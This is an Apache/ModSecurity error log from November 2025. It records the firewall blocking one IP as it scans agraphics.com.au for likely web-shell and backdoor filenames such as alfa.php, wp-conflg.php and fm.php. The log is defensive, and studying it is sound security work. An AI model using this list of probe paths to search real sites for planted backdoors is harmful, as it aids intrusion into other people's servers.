[Tue Nov 25 20:16:46.205310 2025] [:error] [pid 28740:tid 28797] [client 134.149.17.123:17360] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aSWeLlppQCoYxWW6V0WSMAAAAkY"]
[Tue Nov 25 20:16:46.902364 2025] [:error] [pid 28740:tid 28798] [client 134.149.17.123:65389] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aSWeLlppQCoYxWW6V0WSMwAAAkc"]
[Tue Nov 25 20:16:47.781236 2025] [:error] [pid 28740:tid 28794] [client 134.149.17.123:65401] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aSWeL1ppQCoYxWW6V0WSNwAAAkM"]
[Tue Nov 25 20:16:48.739127 2025] [:error] [pid 2987:tid 2992] [client 134.149.17.123:65371] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aSWeMM-djEt-pTzPxnyvCwAAAUM"]
[Tue Nov 25 20:16:49.614348 2025] [:error] [pid 14077:tid 14132] [client 134.149.17.123:65398] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aSWeMRG9n7UHEkwDTyioWQAAAFY"]
[Tue Nov 25 20:16:50.503269 2025] [:error] [pid 2987:tid 3004] [client 134.149.17.123:65402] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aSWeMs-djEt-pTzPxnyvDQAAAU8"]
[Tue Nov 25 20:16:51.393671 2025] [:error] [pid 28740:tid 28807] [client 134.149.17.123:65460] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aSWeM1ppQCoYxWW6V0WSOQAAAlA"]
[Tue Nov 25 20:16:52.308083 2025] [:error] [pid 28836:tid 29012] [client 134.149.17.123:65404] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aSWeNJwNRsoxcLQGkTfOiQAAAtY"]
[Tue Nov 25 20:16:53.724125 2025] [:error] [pid 28842:tid 28995] [client 134.149.17.123:17288] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aSWeNdNmoaPf6T4-6C2jcAAAA0U"]
[Tue Nov 25 20:16:56.120361 2025] [:error] [pid 14168:tid 14185] [client 134.149.17.123:17347] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aSWeOPR-ZDU0QEgAIItyIwAAAM4"]
[Tue Nov 25 20:16:57.458238 2025] [:error] [pid 14168:tid 14193] [client 134.149.17.123:17350] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aSWeOfR-ZDU0QEgAIItyJAAAANY"]
[Tue Nov 25 20:16:58.115137 2025] [:error] [pid 14077:tid 14123] [client 134.149.17.123:17280] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aSWeOhG9n7UHEkwDTyiobwAAAE0"]
[Tue Nov 25 20:16:58.929103 2025] [:error] [pid 14077:tid 14131] [client 134.149.17.123:65376] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aSWeOhG9n7UHEkwDTyiocAAAAFU"]
[Tue Nov 25 20:16:59.919597 2025] [:error] [pid 28740:tid 28794] [client 134.149.17.123:65380] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aSWeO1ppQCoYxWW6V0WSPQAAAkM"]
[Tue Nov 25 20:17:00.786493 2025] [:error] [pid 14078:tid 14159] [client 134.149.17.123:65356] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aSWePNVXYbb0ii_rVoJTagAAAJY"]
[Tue Nov 25 20:17:01.711718 2025] [:error] [pid 14168:tid 14177] [client 134.149.17.123:17384] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aSWePfR-ZDU0QEgAIItyKQAAAMY"]
[Tue Nov 25 20:17:03.946320 2025] [:error] [pid 14078:tid 14157] [client 134.149.17.123:17380] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aSWeP9VXYbb0ii_rVoJTbAAAAJQ"]
[Tue Nov 25 20:17:04.974213 2025] [:error] [pid 28842:tid 29002] [client 134.149.17.123:17391] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aSWeQNNmoaPf6T4-6C2jiQAAA0w"]
[Tue Nov 25 20:17:06.082339 2025] [:error] [pid 28836:tid 28969] [client 134.149.17.123:65368] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aSWeQpwNRsoxcLQGkTfOkAAAAs4"]
[Tue Nov 25 20:17:07.590089 2025] [:error] [pid 14076:tid 14100] [client 134.149.17.123:65375] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aSWeQ3sB4Gz6Qw-pvBsiHgAAABM"]
[Tue Nov 25 20:17:08.569332 2025] [:error] [pid 28609:tid 28620] [client 134.149.17.123:17316] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aSWeRCGGdT-nZJVs3x3PkwAAAYI"]
[Tue Nov 25 20:17:09.693070 2025] [:error] [pid 28609:tid 28642] [client 134.149.17.123:65451] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aSWeRSGGdT-nZJVs3x3PlQAAAZg"]
[Tue Nov 25 20:17:10.685066 2025] [proxy_fcgi:error] [pid 28836:tid 29009] [client 134.149.17.123:17238] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:17:11.215418 2025] [proxy_fcgi:error] [pid 28836:tid 28986] [client 134.149.17.123:17238] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:17:11.782019 2025] [proxy_fcgi:error] [pid 28836:tid 29007] [client 134.149.17.123:17238] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:17:12.292610 2025] [proxy_fcgi:error] [pid 28836:tid 29008] [client 134.149.17.123:17238] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:17:12.559955 2025] [proxy_fcgi:error] [pid 28836:tid 28957] [client 134.149.17.123:17238] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:17:12.919057 2025] [proxy_fcgi:error] [pid 28836:tid 28962] [client 134.149.17.123:17238] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:17:13.173177 2025] [proxy_fcgi:error] [pid 28836:tid 28960] [client 134.149.17.123:17238] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:17:13.427483 2025] [proxy_fcgi:error] [pid 28836:tid 29011] [client 134.149.17.123:17238] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:17:13.689207 2025] [proxy_fcgi:error] [pid 28836:tid 28964] [client 134.149.17.123:17238] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:17:13.948664 2025] [:error] [pid 28836:tid 28958] [client 134.149.17.123:17238] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aSWeSZwNRsoxcLQGkTfOsgAAAsM"]
[Tue Nov 25 20:17:14.721505 2025] [:error] [pid 14077:tid 14129] [client 134.149.17.123:65385] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aSWeShG9n7UHEkwDTyiohwAAAFM"]
[Tue Nov 25 20:17:15.753316 2025] [:error] [pid 28740:tid 28793] [client 134.149.17.123:17397] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aSWeS1ppQCoYxWW6V0WSUwAAAkI"]
[Tue Nov 25 20:17:16.813895 2025] [:error] [pid 28740:tid 28801] [client 134.149.17.123:65382] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aSWeTFppQCoYxWW6V0WSVgAAAko"]
[Tue Nov 25 20:17:17.637403 2025] [:error] [pid 28740:tid 28799] [client 134.149.17.123:65463] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aSWeTVppQCoYxWW6V0WSWQAAAkg"]
[Tue Nov 25 20:17:18.293737 2025] [:error] [pid 28836:tid 29009] [client 134.149.17.123:17371] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aSWeTpwNRsoxcLQGkTfOtwAAAtM"]
[Tue Nov 25 20:17:19.363231 2025] [:error] [pid 28842:tid 29003] [client 134.149.17.123:17377] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aSWeT9NmoaPf6T4-6C2jrQAAA00"]
[Tue Nov 25 20:17:20.223873 2025] [:error] [pid 14168:tid 14194] [client 134.149.17.123:17348] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aSWeUPR-ZDU0QEgAIItyPgAAANc"]
[Tue Nov 25 20:17:20.870817 2025] [:error] [pid 14077:tid 14129] [client 134.149.17.123:65363] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSWeUBG9n7UHEkwDTyiopAAAAFM"]
[Tue Nov 25 20:17:21.925473 2025] [:error] [pid 2987:tid 2989] [client 134.149.17.123:17319] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSWeUc-djEt-pTzPxnyvMQAAAUA"]
[Tue Nov 25 20:17:22.817634 2025] [:error] [pid 28609:tid 28632] [client 134.149.17.123:17365] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSWeUiGGdT-nZJVs3x3PpwAAAY4"]
[Tue Nov 25 20:17:23.651719 2025] [:error] [pid 2987:tid 3004] [client 134.149.17.123:65471] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSWeU8-djEt-pTzPxnyvNgAAAU8"]
[Tue Nov 25 20:17:25.062038 2025] [:error] [pid 14168:tid 14176] [client 134.149.17.123:17349] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aSWeVfR-ZDU0QEgAIItyQwAAAMU"]
[Tue Nov 25 20:17:25.719431 2025] [:error] [pid 28842:tid 29026] [client 134.149.17.123:65436] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aSWeVdNmoaPf6T4-6C2juQAAA1g"]
[Tue Nov 25 20:17:26.597064 2025] [:error] [pid 28842:tid 28992] [client 134.149.17.123:17374] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aSWeVtNmoaPf6T4-6C2juwAAA0I"]
[Tue Nov 25 20:17:27.613283 2025] [:error] [pid 28836:tid 28961] [client 134.149.17.123:65425] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aSWeV5wNRsoxcLQGkTfOygAAAsY"]
[Tue Nov 25 20:17:28.795347 2025] [:error] [pid 28842:tid 28991] [client 134.149.17.123:17394] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSWeWNNmoaPf6T4-6C2jwAAAA0E"]
[Tue Nov 25 20:17:29.878476 2025] [:error] [pid 14168:tid 14181] [client 134.149.17.123:17368] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSWeWfR-ZDU0QEgAIItyRwAAAMo"]
[Tue Nov 25 20:17:30.720635 2025] [:error] [pid 28609:tid 28636] [client 134.149.17.123:17287] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSWeWiGGdT-nZJVs3x3PuwAAAZI"]
[Tue Nov 25 20:17:31.504730 2025] [:error] [pid 14077:tid 14130] [client 134.149.17.123:17406] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSWeWxG9n7UHEkwDTyiorQAAAFQ"]
[Tue Nov 25 20:17:32.316117 2025] [:error] [pid 28609:tid 28625] [client 134.149.17.123:17352] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aSWeXCGGdT-nZJVs3x3PwAAAAYc"]
[Tue Nov 25 20:17:33.022670 2025] [:error] [pid 28740:tid 28802] [client 134.149.17.123:17283] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aSWeXVppQCoYxWW6V0WSbQAAAks"]
[Tue Nov 25 20:17:33.845238 2025] [:error] [pid 14168:tid 14192] [client 134.149.17.123:65392] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aSWeXfR-ZDU0QEgAIItyTgAAANU"]
[Tue Nov 25 20:17:34.705511 2025] [:error] [pid 28739:tid 28777] [client 134.149.17.123:65395] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aSWeXhxGpKmlkG4FexSGsAAAAg8"]
[Tue Nov 25 20:17:35.749310 2025] [:error] [pid 28609:tid 28638] [client 134.149.17.123:65383] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aSWeXyGGdT-nZJVs3x3PzQAAAZQ"]
[Tue Nov 25 20:17:36.582279 2025] [:error] [pid 28836:tid 29006] [client 134.149.17.123:17311] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aSWeYJwNRsoxcLQGkTfO3AAAAtA"]
[Tue Nov 25 20:17:37.599241 2025] [:error] [pid 2987:tid 2990] [client 134.149.17.123:65364] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aSWeYc-djEt-pTzPxnyvRgAAAUE"]
[Tue Nov 25 20:17:38.770143 2025] [:error] [pid 28739:tid 28765] [client 134.149.17.123:17284] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aSWeYhxGpKmlkG4FexSGwQAAAgM"]
[Tue Nov 25 20:17:39.912386 2025] [:error] [pid 28739:tid 28773] [client 134.149.17.123:17330] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/fm.php"] [unique_id "aSWeYxxGpKmlkG4FexSGwwAAAgs"]
[Tue Nov 25 20:17:40.600797 2025] [:error] [pid 2987:tid 3009] [client 134.149.17.123:65345] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/fm.php"] [unique_id "aSWeZM-djEt-pTzPxnyvSQAAAVQ"]
[Tue Nov 25 20:17:41.453126 2025] [:error] [pid 28740:tid 28801] [client 134.149.17.123:17400] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/fm.php"] [unique_id "aSWeZVppQCoYxWW6V0WSewAAAko"]
